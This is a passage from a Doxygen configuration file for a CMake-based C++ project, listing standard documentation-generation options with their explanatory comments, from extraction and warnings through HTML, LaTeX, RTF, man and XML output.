to show the # methods anyway, you should set this option to NO. IDL_PROPERTY_SUPPORT = YES # If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC # tag is set to YES, then doxygen will reuse the documentation of the first # member in the group (if any) for the other members of the group. By default # all members of a group must be documented explicitly. DISTRIBUTE_GROUP_DOC = NO # Set the SUBGROUPING tag to YES (the default) to allow class member groups of # the same type (for instance a group of public functions) to be put as a # subgroup of that type (e.g. under the Public Functions section). Set it to # NO to prevent subgrouping. Alternatively, this can be done per class using # the \nosubgrouping command. SUBGROUPING = YES # When TYPEDEF_HIDES_STRUCT is enabled, a typedef of a struct, union, or enum # is documented as struct, union, or enum with the name of the typedef. So # typedef struct TypeS {} TypeT, will appear in the documentation as a struct # with name TypeT. When disabled the typedef will appear as a member of a file, # namespace, or class. And the struct will be named TypeS. This can typically # be useful for C code in case the coding convention dictates that all compound # types are typedef'ed and only the typedef is referenced, never the tag name. TYPEDEF_HIDES_STRUCT = NO # The SYMBOL_CACHE_SIZE determines the size of the internal cache use to # determine which symbols to keep in memory and which to flush to disk. # When the cache is full, less often used symbols will be written to disk. # For small to medium size projects (<1000 input files) the default value is # probably good enough. For larger projects a too small cache size can cause # doxygen to be busy swapping symbols to and from disk most of the time # causing a significant performance penality. # If the system has enough physical memory increasing the cache will improve the # performance by keeping more symbols in memory. Note that the value works on # a logarithmic scale so increasing the size by one will rougly double the # memory usage. The cache size is given by this formula: # 2^(16+SYMBOL_CACHE_SIZE). The valid range is 0..9, the default is 0, # corresponding to a cache size of 2^16 = 65536 symbols SYMBOL_CACHE_SIZE = 0 #--------------------------------------------------------------------------- # Build related configuration options #--------------------------------------------------------------------------- # If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in # documentation are documented, even if no documentation was available. # Private class members and static file members will be hidden unless # the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES EXTRACT_ALL = NO # If the EXTRACT_PRIVATE tag is set to YES all private members of a class # will be included in the documentation. EXTRACT_PRIVATE = NO # If the EXTRACT_STATIC tag is set to YES all static members of a file # will be included in the documentation. EXTRACT_STATIC = YES # If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) # defined locally in source files will be included in the documentation. # If set to NO only classes defined in header files are included. EXTRACT_LOCAL_CLASSES = YES # This flag is only useful for Objective-C code. When set to YES local # methods, which are defined in the implementation section but not in # the interface are included in the documentation. # If set to NO (the default) only methods in the interface are included. EXTRACT_LOCAL_METHODS = NO # If this flag is set to YES, the members of anonymous namespaces will be # extracted and appear in the documentation as a namespace called # 'anonymous_namespace{file}', where file will be replaced with the base # name of the file that contains the anonymous namespace. By default # anonymous namespace are hidden. EXTRACT_ANON_NSPACES = NO # If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all # undocumented members of documented classes, files or namespaces. # If set to NO (the default) these members will be included in the # various overviews, but no documentation section is generated. # This option has no effect if EXTRACT_ALL is enabled. HIDE_UNDOC_MEMBERS = NO # If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all # undocumented classes that are normally visible in the class hierarchy. # If set to NO (the default) these classes will be included in the various # overviews. This option has no effect if EXTRACT_ALL is enabled. HIDE_UNDOC_CLASSES = NO # If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all # friend (class|struct|union) declarations. # If set to NO (the default) these declarations will be included in the # documentation. HIDE_FRIEND_COMPOUNDS = NO # If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any # documentation blocks found inside the body of a function. # If set to NO (the default) these blocks will be appended to the # function's detailed documentation block. HIDE_IN_BODY_DOCS = NO # The INTERNAL_DOCS tag determines if documentation # that is typed after a \internal command is included. If the tag is set # to NO (the default) then the documentation will be excluded. # Set it to YES to include the internal documentation. INTERNAL_DOCS = NO # If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate # file names in lower-case letters. If set to YES upper-case letters are also # allowed. This is useful if you have classes or files whose names only differ # in case and if your file system supports case sensitive file names. Windows # and Mac users are advised to set this option to NO. CASE_SENSE_NAMES = YES # If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen # will show members with their full class and namespace scopes in the # documentation. If set to YES the scope will be hidden. HIDE_SCOPE_NAMES = NO # If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen # will put a list of the files that are included by a file in the documentation # of that file. SHOW_INCLUDE_FILES = YES # If the FORCE_LOCAL_INCLUDES tag is set to YES then Doxygen # will list include files with double quotes in the documentation # rather than with sharp brackets. FORCE_LOCAL_INCLUDES = NO # If the INLINE_INFO tag is set to YES (the default) then a tag [inline] # is inserted in the documentation for inline members. INLINE_INFO = YES # If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen # will sort the (detailed) documentation of file and class members # alphabetically by member name. If set to NO the members will appear in # declaration order. SORT_MEMBER_DOCS = YES # If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the # brief documentation of file, namespace and class members alphabetically # by member name. If set to NO (the default) the members will appear in # declaration order. SORT_BRIEF_DOCS = NO # If the SORT_MEMBERS_CTORS_1ST tag is set to YES then doxygen # will sort the (brief and detailed) documentation of class members so that # constructors and destructors are listed first. If set to NO (the default) # the constructors will appear in the respective orders defined by # SORT_MEMBER_DOCS and SORT_BRIEF_DOCS. # This tag will be ignored for brief docs if SORT_BRIEF_DOCS is set to NO # and ignored for detailed docs if SORT_MEMBER_DOCS is set to NO. SORT_MEMBERS_CTORS_1ST = NO # If the SORT_GROUP_NAMES tag is set to YES then doxygen will sort the # hierarchy of group names into alphabetical order. If set to NO (the default) # the group names will appear in their defined order. SORT_GROUP_NAMES = NO # If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be # sorted by fully-qualified names, including namespaces. If set to # NO (the default), the class list will be sorted only by class name, # not including the namespace part. # Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. # Note: This option applies only to the class list, not to the # alphabetical list. SORT_BY_SCOPE_NAME = NO # The GENERATE_TODOLIST tag can be used to enable (YES) or # disable (NO) the todo list. This list is created by putting \todo # commands in the documentation. GENERATE_TODOLIST = YES # The GENERATE_TESTLIST tag can be used to enable (YES) or # disable (NO) the test list. This list is created by putting \test # commands in the documentation. GENERATE_TESTLIST = YES # The GENERATE_BUGLIST tag can be used to enable (YES) or # disable (NO) the bug list. This list is created by putting \bug # commands in the documentation. GENERATE_BUGLIST = YES # The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or # disable (NO) the deprecated list. This list is created by putting # \deprecated commands in the documentation. GENERATE_DEPRECATEDLIST= YES # The ENABLED_SECTIONS tag can be used to enable conditional # documentation sections, marked by \if sectionname ... \endif. ENABLED_SECTIONS = # The MAX_INITIALIZER_LINES tag determines the maximum number of lines # the initial value of a variable or define consists of for it to appear in # the documentation. If the initializer consists of more lines than specified # here it will be hidden. Use a value of 0 to hide initializers completely. # The appearance of the initializer of individual variables and defines in the # documentation can be controlled using \showinitializer or \hideinitializer # command in the documentation regardless of this setting. MAX_INITIALIZER_LINES = 30 # Set the SHOW_USED_FILES tag to NO to disable the list of files generated # at the bottom of the documentation of classes and structs. If set to YES the # list will mention the files that were used to generate the documentation. SHOW_USED_FILES = YES # If the sources in your project are distributed over multiple directories # then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy # in the documentation. The default is NO. SHOW_DIRECTORIES = NO # Set the SHOW_FILES tag to NO to disable the generation of the Files page. # This will remove the Files entry from the Quick Index and from the # Folder Tree View (if specified). The default is YES. SHOW_FILES = YES # Set the SHOW_NAMESPACES tag to NO to disable the generation of the # Namespaces page. # This will remove the Namespaces entry from the Quick Index # and from the Folder Tree View (if specified). The default is YES. SHOW_NAMESPACES = YES # The FILE_VERSION_FILTER tag can be used to specify a program or script that # doxygen should invoke to get the current version for each file (typically from # the version control system). Doxygen will invoke the program by executing (via # popen()) the command , where is the value of # the FILE_VERSION_FILTER tag, and is the name of an input file # provided by doxygen. Whatever the program writes to standard output # is used as the file version. See the manual for examples. FILE_VERSION_FILTER = # The LAYOUT_FILE tag can be used to specify a layout file which will be parsed # by doxygen. The layout file controls the global structure of the generated # output files in an output format independent way. The create the layout file # that represents doxygen's defaults, run doxygen with the -l option. # You can optionally specify a file name after the option, if omitted # DoxygenLayout.xml will be used as the name of the layout file. LAYOUT_FILE = #--------------------------------------------------------------------------- # configuration options related to warning and progress messages #--------------------------------------------------------------------------- # The QUIET tag can be used to turn on/off the messages that are generated # by doxygen. Possible values are YES and NO. If left blank NO is used. QUIET = NO # The WARNINGS tag can be used to turn on/off the warning messages that are # generated by doxygen. Possible values are YES and NO. If left blank # NO is used. WARNINGS = YES # If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings # for undocumented members. If EXTRACT_ALL is set to YES then this flag will # automatically be disabled. WARN_IF_UNDOCUMENTED = YES # If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for # potential errors in the documentation, such as not documenting some # parameters in a documented function, or documenting parameters that # don't exist or using markup commands wrongly. WARN_IF_DOC_ERROR = YES # This WARN_NO_PARAMDOC option can be abled to get warnings for # functions that are documented, but have no documentation for their parameters # or return value. If set to NO (the default) doxygen will only warn about # wrong or incomplete parameter documentation, but not about the absence of # documentation. WARN_NO_PARAMDOC = NO # The WARN_FORMAT tag determines the format of the warning messages that # doxygen can produce. The string should contain the $file, $line, and $text # tags, which will be replaced by the file and line number from which the # warning originated and the warning text. Optionally the format may contain # $version, which will be replaced by the version of the file (if it could # be obtained via FILE_VERSION_FILTER) WARN_FORMAT = "$file:$line: $text" # The WARN_LOGFILE tag can be used to specify a file to which warning # and error messages should be written. If left blank the output is written # to stderr. WARN_LOGFILE = #--------------------------------------------------------------------------- # configuration options related to the input files #--------------------------------------------------------------------------- # The INPUT tag can be used to specify the files and/or directories that contain # documented source files. You may enter file names like "myfile.cpp" or # directories like "/usr/src/myproject". Separate the files or directories # with spaces. INPUT = @CMAKE_CURRENT_SOURCE_DIR@/include @CMAKE_CURRENT_SOURCE_DIR@/src @CMAKE_CURRENT_SOURCE_DIR@/docs/mainpage.dox # This tag can be used to specify the character encoding of the source files # that doxygen parses. Internally doxygen uses the UTF-8 encoding, which is # also the default input encoding. Doxygen uses libiconv (or the iconv built # into libc) for the transcoding. See http://www.gnu.org/software/libiconv for # the list of possible encodings. INPUT_ENCODING = UTF-8 # If the value of the INPUT tag contains directories, you can use the # FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp # and *.h) to filter out the source-files in the directories. If left # blank the following patterns are tested: # *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx # *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py *.f90 FILE_PATTERNS = *.cpp *.h # The RECURSIVE tag can be used to turn specify whether or not subdirectories # should be searched for input files as well. Possible values are YES and NO. # If left blank NO is used. RECURSIVE = YES # The EXCLUDE tag can be used to specify files and/or directories that should # excluded from the INPUT source files. This way you can easily exclude a # subdirectory from a directory tree whose root is specified with the INPUT tag. EXCLUDE = # The EXCLUDE_SYMLINKS tag can be used select whether or not files or # directories that are symbolic links (a Unix filesystem feature) are excluded # from the input. EXCLUDE_SYMLINKS = NO # If the value of the INPUT tag contains directories, you can use the # EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude # certain files from those directories. Note that the wildcards are matched # against the file with absolute path, so to exclude all test directories # for example use the pattern */test/* EXCLUDE_PATTERNS = */main.cpp # The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names # (namespaces, classes, functions, etc.) that should be excluded from the # output. The symbol name can be a fully qualified name, a word, or if the # wildcard * is used, a substring. Examples: ANamespace, AClass, # AClass::ANamespace, ANamespace::*Test EXCLUDE_SYMBOLS = # The EXAMPLE_PATH tag can be used to specify one or more files or # directories that contain example code fragments that are included (see # the \include command). EXAMPLE_PATH = # If the value of the EXAMPLE_PATH tag contains directories, you can use the # EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp # and *.h) to filter out the source-files in the directories. If left # blank all files are included. EXAMPLE_PATTERNS = # If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be # searched for input files to be used with the \include or \dontinclude # commands irrespective of the value of the RECURSIVE tag. # Possible values are YES and NO. If left blank NO is used. EXAMPLE_RECURSIVE = NO # The IMAGE_PATH tag can be used to specify one or more files or # directories that contain image that are included in the documentation (see # the \image command). IMAGE_PATH = # The INPUT_FILTER tag can be used to specify a program that doxygen should # invoke to filter for each input file. Doxygen will invoke the filter program # by executing (via popen()) the command , where # is the value of the INPUT_FILTER tag, and is the name of an # input file. Doxygen will then use the output that the filter program writes # to standard output. # If FILTER_PATTERNS is specified, this tag will be # ignored. INPUT_FILTER = # The FILTER_PATTERNS tag can be used to specify filters on a per file pattern # basis. # Doxygen will compare the file name with each pattern and apply the # filter if there is a match. # The filters are a list of the form: # pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further # info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER # is applied to all files. FILTER_PATTERNS = # If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using # INPUT_FILTER) will be used to filter the input files when producing source # files to browse (i.e. when SOURCE_BROWSER is set to YES). FILTER_SOURCE_FILES = NO #--------------------------------------------------------------------------- # configuration options related to source browsing #--------------------------------------------------------------------------- # If the SOURCE_BROWSER tag is set to YES then a list of source files will # be generated. Documented entities will be cross-referenced with these sources. # Note: To get rid of all source code in the generated output, make sure also # VERBATIM_HEADERS is set to NO. SOURCE_BROWSER = NO # Setting the INLINE_SOURCES tag to YES will include the body # of functions and classes directly in the documentation. INLINE_SOURCES = NO # Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct # doxygen to hide any special comment blocks from generated source code # fragments. Normal C and C++ comments will always remain visible. STRIP_CODE_COMMENTS = YES # If the REFERENCED_BY_RELATION tag is set to YES # then for each documented function all documented # functions referencing it will be listed. REFERENCED_BY_RELATION = NO # If the REFERENCES_RELATION tag is set to YES # then for each documented function all documented entities # called/used by that function will be listed. REFERENCES_RELATION = NO # If the REFERENCES_LINK_SOURCE tag is set to YES (the default) # and SOURCE_BROWSER tag is set to YES, then the hyperlinks from # functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will # link to the source code. # Otherwise they will link to the documentation. REFERENCES_LINK_SOURCE = YES # If the USE_HTAGS tag is set to YES then the references to source code # will point to the HTML generated by the htags(1) tool instead of doxygen # built-in source browser. The htags tool is part of GNU's global source # tagging system (see http://www.gnu.org/software/global/global.html). You # will need version 4.8.6 or higher. USE_HTAGS = NO # If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen # will generate a verbatim copy of the header file for each class for # which an include is specified. Set to NO to disable this. VERBATIM_HEADERS = YES #--------------------------------------------------------------------------- # configuration options related to the alphabetical class index #--------------------------------------------------------------------------- # If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index # of all compounds will be generated. Enable this if the project # contains a lot of classes, structs, unions or interfaces. ALPHABETICAL_INDEX = YES # If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then # the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns # in which this list will be split (can be a number in the range [1..20]) COLS_IN_ALPHA_INDEX = 5 # In case all classes in a project start with a common prefix, all # classes will be put under the same header in the alphabetical index. # The IGNORE_PREFIX tag can be used to specify one or more prefixes that # should be ignored while generating the index headers. IGNORE_PREFIX = #--------------------------------------------------------------------------- # configuration options related to the HTML output #--------------------------------------------------------------------------- # If the GENERATE_HTML tag is set to YES (the default) Doxygen will # generate HTML output. GENERATE_HTML = YES # The HTML_OUTPUT tag is used to specify where the HTML docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `html' will be used as the default path. HTML_OUTPUT = html # The HTML_FILE_EXTENSION tag can be used to specify the file extension for # each generated HTML page (for example: .htm,.php,.asp). If it is left blank # doxygen will generate files with .html extension. HTML_FILE_EXTENSION = .html # The HTML_HEADER tag can be used to specify a personal HTML header for # each generated HTML page. If it is left blank doxygen will generate a # standard header. HTML_HEADER = # The HTML_FOOTER tag can be used to specify a personal HTML footer for # each generated HTML page. If it is left blank doxygen will generate a # standard footer. HTML_FOOTER = # The HTML_STYLESHEET tag can be used to specify a user-defined cascading # style sheet that is used by each HTML page. It can be used to # fine-tune the look of the HTML output. If the tag is left blank doxygen # will generate a default style sheet. Note that doxygen will try to copy # the style sheet file to the HTML output directory, so don't put your own # stylesheet in the HTML output directory as well, or it will be erased! HTML_STYLESHEET = # The HTML_COLORSTYLE_HUE tag controls the color of the HTML output. # Doxygen will adjust the colors in the stylesheet and background images # according to this color. Hue is specified as an angle on a colorwheel, # see http://en.wikipedia.org/wiki/Hue for more information. # For instance the value 0 represents red, 60 is yellow, 120 is green, # 180 is cyan, 240 is blue, 300 purple, and 360 is red again. # The allowed range is 0 to 359. HTML_COLORSTYLE_HUE = 220 # The HTML_COLORSTYLE_SAT tag controls the purity (or saturation) of # the colors in the HTML output. For a value of 0 the output will use # grayscales only. A value of 255 will produce the most vivid colors. HTML_COLORSTYLE_SAT = 100 # The HTML_COLORSTYLE_GAMMA tag controls the gamma correction applied to # the luminance component of the colors in the HTML output. Values below # 100 gradually make the output lighter, whereas values above 100 make # the output darker. The value divided by 100 is the actual gamma applied, # so 80 represents a gamma of 0.8, The value 220 represents a gamma of 2.2, # and 100 does not change the gamma. HTML_COLORSTYLE_GAMMA = 80 # If the HTML_TIMESTAMP tag is set to YES then the footer of each generated HTML # page will contain the date and time when the page was generated. Setting # this to NO can help when comparing the output of multiple runs. HTML_TIMESTAMP = YES # If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, # files or namespaces will be aligned in HTML using tables. If set to # NO a bullet list will be used. HTML_ALIGN_MEMBERS = YES # If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML # documentation will contain sections that can be hidden and shown after the # page has loaded. For this to work a browser that supports # JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox # Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). HTML_DYNAMIC_SECTIONS = NO # If the GENERATE_DOCSET tag is set to YES, additional index files # will be generated that can be used as input for Apple's Xcode 3 # integrated development environment, introduced with OSX 10.5 (Leopard). # To create a documentation set, doxygen will generate a Makefile in the # HTML output directory. Running make will produce the docset in that # directory and running "make install" will install the docset in # ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find # it at startup. # See http://developer.apple.com/tools/creatingdocsetswithdoxygen.html # for more information. GENERATE_DOCSET = NO # When GENERATE_DOCSET tag is set to YES, this tag determines the name of the # feed. A documentation feed provides an umbrella under which multiple # documentation sets from a single provider (such as a company or product suite) # can be grouped. DOCSET_FEEDNAME = "Doxygen generated docs" # When GENERATE_DOCSET tag is set to YES, this tag specifies a string that # should uniquely identify the documentation set bundle. This should be a # reverse domain-name style string, e.g. com.mycompany.MyDocSet. Doxygen # will append .docset to the name. DOCSET_BUNDLE_ID = org.doxygen.Project # When GENERATE_PUBLISHER_ID tag specifies a string that should uniquely identify # the documentation publisher. This should be a reverse domain-name style # string, e.g. com.mycompany.MyDocSet.documentation. DOCSET_PUBLISHER_ID = org.doxygen.Publisher # The GENERATE_PUBLISHER_NAME tag identifies the documentation publisher. DOCSET_PUBLISHER_NAME = Publisher # If the GENERATE_HTMLHELP tag is set to YES, additional index files # will be generated that can be used as input for tools like the # Microsoft HTML help workshop to generate a compiled HTML help file (.chm) # of the generated HTML documentation. GENERATE_HTMLHELP = NO # If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can # be used to specify the file name of the resulting .chm file. You # can add a path in front of the file if the result should not be # written to the html output directory. CHM_FILE = # If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can # be used to specify the location (absolute path including file name) of # the HTML help compiler (hhc.exe). If non-empty doxygen will try to run # the HTML help compiler on the generated index.hhp. HHC_LOCATION = # If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag # controls if a separate .chi index file is generated (YES) or that # it should be included in the master .chm file (NO). GENERATE_CHI = NO # If the GENERATE_HTMLHELP tag is set to YES, the CHM_INDEX_ENCODING # is used to encode HtmlHelp index (hhk), content (hhc) and project file # content. CHM_INDEX_ENCODING = # If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag # controls whether a binary table of contents is generated (YES) or a # normal table of contents (NO) in the .chm file. BINARY_TOC = NO # The TOC_EXPAND flag can be set to YES to add extra items for group members # to the contents of the HTML help documentation and to the tree view. TOC_EXPAND = NO # If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and # QHP_VIRTUAL_FOLDER are set, an additional index file will be generated # that can be used as input for Qt's qhelpgenerator to generate a # Qt Compressed Help (.qch) of the generated HTML documentation. GENERATE_QHP = NO # If the QHG_LOCATION tag is specified, the QCH_FILE tag can # be used to specify the file name of the resulting .qch file. # The path specified is relative to the HTML output folder. QCH_FILE = # The QHP_NAMESPACE tag specifies the namespace to use when generating # Qt Help Project output. For more information please see # http://doc.trolltech.com/qthelpproject.html#namespace QHP_NAMESPACE = org.doxygen.Project # The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating # Qt Help Project output. For more information please see # http://doc.trolltech.com/qthelpproject.html#virtual-folders QHP_VIRTUAL_FOLDER = doc # If QHP_CUST_FILTER_NAME is set, it specifies the name of a custom filter to # add. For more information please see # http://doc.trolltech.com/qthelpproject.html#custom-filters QHP_CUST_FILTER_NAME = # The QHP_CUST_FILT_ATTRS tag specifies the list of the attributes of the # custom filter to add. For more information please see # # Qt Help Project / Custom Filters. QHP_CUST_FILTER_ATTRS = # The QHP_SECT_FILTER_ATTRS tag specifies the list of the attributes this # project's # filter section matches. # # Qt Help Project / Filter Attributes. QHP_SECT_FILTER_ATTRS = # If the GENERATE_QHP tag is set to YES, the QHG_LOCATION tag can # be used to specify the location of Qt's qhelpgenerator. # If non-empty doxygen will try to run qhelpgenerator on the generated # .qhp file. QHG_LOCATION = # If the GENERATE_ECLIPSEHELP tag is set to YES, additional index files # will be generated, which together with the HTML files, form an Eclipse help # plugin. To install this plugin and make it available under the help contents # menu in Eclipse, the contents of the directory containing the HTML and XML # files needs to be copied into the plugins directory of eclipse. The name of # the directory within the plugins directory should be the same as # the ECLIPSE_DOC_ID value. After copying Eclipse needs to be restarted before # the help appears. GENERATE_ECLIPSEHELP = NO # A unique identifier for the eclipse help plugin. When installing the plugin # the directory name containing the HTML and XML files should also have # this name. ECLIPSE_DOC_ID = org.doxygen.Project # The DISABLE_INDEX tag can be used to turn on/off the condensed index at # top of each HTML page. The value NO (the default) enables the index and # the value YES disables it. DISABLE_INDEX = NO # This tag can be used to set the number of enum values (range [1..20]) # that doxygen will group on one line in the generated HTML documentation. ENUM_VALUES_PER_LINE = 4 # The GENERATE_TREEVIEW tag is used to specify whether a tree-like index # structure should be generated to display hierarchical information. # If the tag value is set to YES, a side panel will be generated # containing a tree-like index structure (just like the one that # is generated for HTML Help). For this to work a browser that supports # JavaScript, DHTML, CSS and frames is required (i.e. any modern browser). # Windows users are probably better off using the HTML help feature. GENERATE_TREEVIEW = NO # By enabling USE_INLINE_TREES, doxygen will generate the Groups, Directories, # and Class Hierarchy pages using a tree view instead of an ordered list. USE_INLINE_TREES = NO # If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be # used to set the initial width (in pixels) of the frame in which the tree # is shown. TREEVIEW_WIDTH = 250 # When the EXT_LINKS_IN_WINDOW option is set to YES doxygen will open # links to external symbols imported via tag files in a separate window. EXT_LINKS_IN_WINDOW = NO # Use this tag to change the font size of Latex formulas included # as images in the HTML documentation. The default is 10. Note that # when you change the font size after a successful doxygen run you need # to manually remove any form_*.png images from the HTML output directory # to force them to be regenerated. FORMULA_FONTSIZE = 10 # Use the FORMULA_TRANPARENT tag to determine whether or not the images # generated for formulas are transparent PNGs. Transparent PNGs are # not supported properly for IE 6.0, but are supported on all modern browsers. # Note that when changing this option you need to delete any form_*.png files # in the HTML output before the changes have effect. FORMULA_TRANSPARENT = YES # When the SEARCHENGINE tag is enabled doxygen will generate a search box # for the HTML output. The underlying search engine uses javascript # and DHTML and should work on any modern browser. Note that when using # HTML help (GENERATE_HTMLHELP), Qt help (GENERATE_QHP), or docsets # (GENERATE_DOCSET) there is already a search function so this one should # typically be disabled. For large projects the javascript based search engine # can be slow, then enabling SERVER_BASED_SEARCH may provide a better solution. SEARCHENGINE = YES # When the SERVER_BASED_SEARCH tag is enabled the search engine will be # implemented using a PHP enabled web server instead of at the web client # using Javascript. Doxygen will generate the search PHP script and index # file to put on the web server. The advantage of the server # based approach is that it scales better to large projects and allows # full text search. The disadvances is that it is more difficult to setup # and does not have live searching capabilities. SERVER_BASED_SEARCH = NO #--------------------------------------------------------------------------- # configuration options related to the LaTeX output #--------------------------------------------------------------------------- # If the GENERATE_LATEX tag is set to YES (the default) Doxygen will # generate Latex output. GENERATE_LATEX = NO # The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `latex' will be used as the default path. LATEX_OUTPUT = latex # The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be # invoked. If left blank `latex' will be used as the default command name. # Note that when enabling USE_PDFLATEX this option is only used for # generating bitmaps for formulas in the HTML output, but not in the # Makefile that is written to the output directory. LATEX_CMD_NAME = latex # The MAKEINDEX_CMD_NAME tag can be used to specify the command name to # generate index for LaTeX. If left blank `makeindex' will be used as the # default command name. MAKEINDEX_CMD_NAME = makeindex # If the COMPACT_LATEX tag is set to YES Doxygen generates more compact # LaTeX documents. This may be useful for small projects and may help to # save some trees in general. COMPACT_LATEX = NO # The PAPER_TYPE tag can be used to set the paper type that is used # by the printer. Possible values are: a4, a4wide, letter, legal and # executive. If left blank a4wide will be used. PAPER_TYPE = a4wide # The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX # packages that should be included in the LaTeX output. EXTRA_PACKAGES = # The LATEX_HEADER tag can be used to specify a personal LaTeX header for # the generated latex document. The header should contain everything until # the first chapter. If it is left blank doxygen will generate a # standard header. Notice: only use this tag if you know what you are doing! LATEX_HEADER = # If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated # is prepared for conversion to pdf (using ps2pdf). The pdf file will # contain links (just like the HTML output) instead of page references # This makes the output suitable for online browsing using a pdf viewer. PDF_HYPERLINKS = YES # If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of # plain latex in the generated Makefile. Set this option to YES to get a # higher quality PDF documentation. USE_PDFLATEX = YES # If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. # command to the generated LaTeX files. This will instruct LaTeX to keep # running if errors occur, instead of asking the user for help. # This option is also used when generating formulas in HTML. LATEX_BATCHMODE = NO # If LATEX_HIDE_INDICES is set to YES then doxygen will not # include the index chapters (such as File Index, Compound Index, etc.) # in the output. LATEX_HIDE_INDICES = NO # If LATEX_SOURCE_CODE is set to YES then doxygen will include # source code with syntax highlighting in the LaTeX output. # Note that which sources are shown also depends on other settings # such as SOURCE_BROWSER. LATEX_SOURCE_CODE = NO #--------------------------------------------------------------------------- # configuration options related to the RTF output #--------------------------------------------------------------------------- # If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output # The RTF output is optimized for Word 97 and may not look very pretty with # other RTF readers or editors. GENERATE_RTF = NO # The RTF_OUTPUT tag is used to specify where the RTF docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `rtf' will be used as the default path. RTF_OUTPUT = rtf # If the COMPACT_RTF tag is set to YES Doxygen generates more compact # RTF documents. This may be useful for small projects and may help to # save some trees in general. COMPACT_RTF = NO # If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated # will contain hyperlink fields. The RTF file will # contain links (just like the HTML output) instead of page references. # This makes the output suitable for online browsing using WORD or other # programs which support those fields. # Note: wordpad (write) and others do not support links. RTF_HYPERLINKS = NO # Load stylesheet definitions from file. Syntax is similar to doxygen's # config file, i.e. a series of assignments. You only have to provide # replacements, missing definitions are set to their default value. RTF_STYLESHEET_FILE = # Set optional variables used in the generation of an rtf document. # Syntax is similar to doxygen's config file. RTF_EXTENSIONS_FILE = #--------------------------------------------------------------------------- # configuration options related to the man page output #--------------------------------------------------------------------------- # If the GENERATE_MAN tag is set to YES (the default) Doxygen will # generate man pages GENERATE_MAN = NO # The MAN_OUTPUT tag is used to specify where the man pages will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `man' will be used as the default path. MAN_OUTPUT = man # The MAN_EXTENSION tag determines the extension that is added to # the generated man pages (default is the subroutine's section .3) MAN_EXTENSION = .3 # If the MAN_LINKS tag is set to YES and Doxygen generates man output, # then it will generate one additional man file for each entity # documented in the real man page(s). These additional files # only source the real man page, but without them the man command # would be unable to find the correct page. The default is NO. MAN_LINKS = NO #--------------------------------------------------------------------------- # configuration options related to the XML output #--------------------------------------------------------------------------- # If the GENERATE_XML tag is set to YES Doxygen will # generate an XML file that captures the structure of # the code including all documentation. GENERATE_XML = NO # The XML_OUTPUT tag is used to specify where the XML pages will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `xml' will be used as the default path. XML_OUTPUT = xml # The XML_SCHEMA tag can be used to specify an XML schema, # which can be used by a validating XML parser to check the # syntax of the XML files. XML_SCHEMA = # The XML_DTD tag can be used to specify an XML DTD, # which can be used by a validating XML parser to check the # syntax of the XML files. XML_DTD = # If the XML_PROGRAMLISTING tag is set to YES Doxygen will # dump the program listings (including syntax highlighting # and cross-referencing information) to the XML output. Note that # enabling this will significantly increase the size of the XML output. XML_PROGRAMLISTING = YES #--------------------------------------------------------------------------- # configuration options for the AutoGen Definitions output 